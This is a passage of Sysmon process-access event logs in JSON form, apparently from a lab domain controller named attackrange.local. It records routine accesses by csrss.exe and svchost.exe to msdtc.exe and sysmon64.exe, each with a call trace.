C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:57.662","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-405D-5F2D-0000-0010ABAB0400}","TargetProcessId":"4120","TargetImage":"C:\\Windows\\System32\\msdtc.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:51:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2765,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:57.662\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:57.662","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2766,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:57.662\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:57.662","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2767,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:57.662\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:57.662","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2768,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:57.662\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:57.662","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2769,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:57.662\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:57.662","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2770,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:57.662\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:57.662","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2771,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:57.662\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:57.662","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2772,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:57.662\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:57.662","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dl